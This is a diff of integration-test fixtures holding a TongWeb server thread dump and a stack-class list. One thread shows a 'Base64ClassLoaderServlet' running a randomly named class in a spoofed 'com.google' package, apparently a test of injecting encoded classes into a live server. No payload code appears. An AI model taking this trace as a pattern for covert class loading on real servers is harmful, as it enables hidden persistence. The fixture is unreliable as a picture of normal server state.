java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-8080-exec-9" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-0" #89 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Thread-33" #145 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@610a5858 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-Acceptor-0" #114 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:457) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-Acceptor-0" #100 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@5749161e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio2-8080-exec-4" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Thread-31" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@619384d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-5" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"compress-log-timer" #12 daemon [TIMED_WAITING] on java.util.TaskQueue@301a6988 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI RenewClean-[172.17.0.4:43741]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3613f4b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-10" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c0730df + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@61cfbab4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio-5100-exec-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-7" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.fnhhs.ErrorXgxzkHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:108) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:26) + at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) + at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) + at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) + at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) + at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:71) + at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:30) + at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:425) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:772) + at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:803) + at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1610) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:832) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:640) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:618) + at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126) + at sun.nio.ch.Invoker$2.run(Invoker.java:218) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1167) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-1" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-7200" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"OptionalSysInfoUtil Timer" #120 daemon [WAITING] on java.util.TaskQueue@27ac92c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-9060-exec-6" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"process reaper" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@86b254f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2dcf6d55 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"process reaper" #121 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.UNIXProcess.waitForProcessExit(Native Method) + at java.lang.UNIXProcess.lambda$initStreams$3(UNIXProcess.java:289) + at java.lang.UNIXProcess$$Lambda$33/1508274142.run(Unknown Source) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-1" #113 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-Acceptor-0" #98 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@31c96842 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450) + at java.lang.Thread.run(Thread.java:750) + +"Thread-27" #117 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65aef4fe + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(idle)" #94 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@34bee459 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-3" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(idle)" #91 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@34bee459 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.google.gso.fnhhs.ErrorXgxzkHandler +com.tongweb.catalina.authenticator.AuthenticatorBase +com.tongweb.catalina.connector.CoyoteWriter +com.tongweb.catalina.connector.ThanosCoyoteAdaptor +com.tongweb.catalina.core.ApplicationFilterChain +com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.catalina.core.StandardContextValve +com.tongweb.catalina.core.StandardEngineValve +com.tongweb.catalina.core.StandardHostValve +com.tongweb.catalina.core.StandardServer +com.tongweb.catalina.core.StandardWrapperValve +com.tongweb.catalina.core.ThanosStandardContextValve +com.tongweb.catalina.core.ThanosStandardEngineValve +com.tongweb.catalina.realm.RealmValve +com.tongweb.catalina.startup.Bootstrap +com.tongweb.catalina.startup.Catalina +com.tongweb.catalina.startup.ThanosCatalina +com.tongweb.catalina.valves.ErrorReportValve +com.tongweb.commons.exec.DefaultExecutor +com.tongweb.commons.exec.StreamPumper +com.tongweb.coyote.AbstractProcessorLight +com.tongweb.coyote.AbstractProtocol$AsyncTimeout +com.tongweb.coyote.AbstractProtocol$ConnectionHandler +com.tongweb.coyote.http11.Http11Processor +com.tongweb.coyote.http11.ThanosHttp11Processor +com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer +com.tongweb.tomee.catalina.OpenEJBValve +com.tongweb.util.sys.OptionalSysInfoUtil +com.tongweb.util.sys.OptionalSysInfoUtil$1 +com.tongweb.web.util.net.AbstractEndpoint +com.tongweb.web.util.net.Nio2Endpoint$Acceptor +com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4 +com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor +com.tongweb.web.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.util.net.NioEndpoint$Acceptor +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TWThreadPoolExecutor +com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt similarity index 84% rename from integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt rename to integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt index 0b46f4be..ad244add 100644 --- a/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt @@ -1,21 +1,18 @@ -# Generated At 2025-08-10 15:27:02 +# Generated At 2026-05-24 11:01:09 SystemProps: -java.vendor: Oracle Corporation +java.vendor: Temurin tongweb.restart.interval: 1 -pid_file_path: /opt/tweb7/tongweb.pid 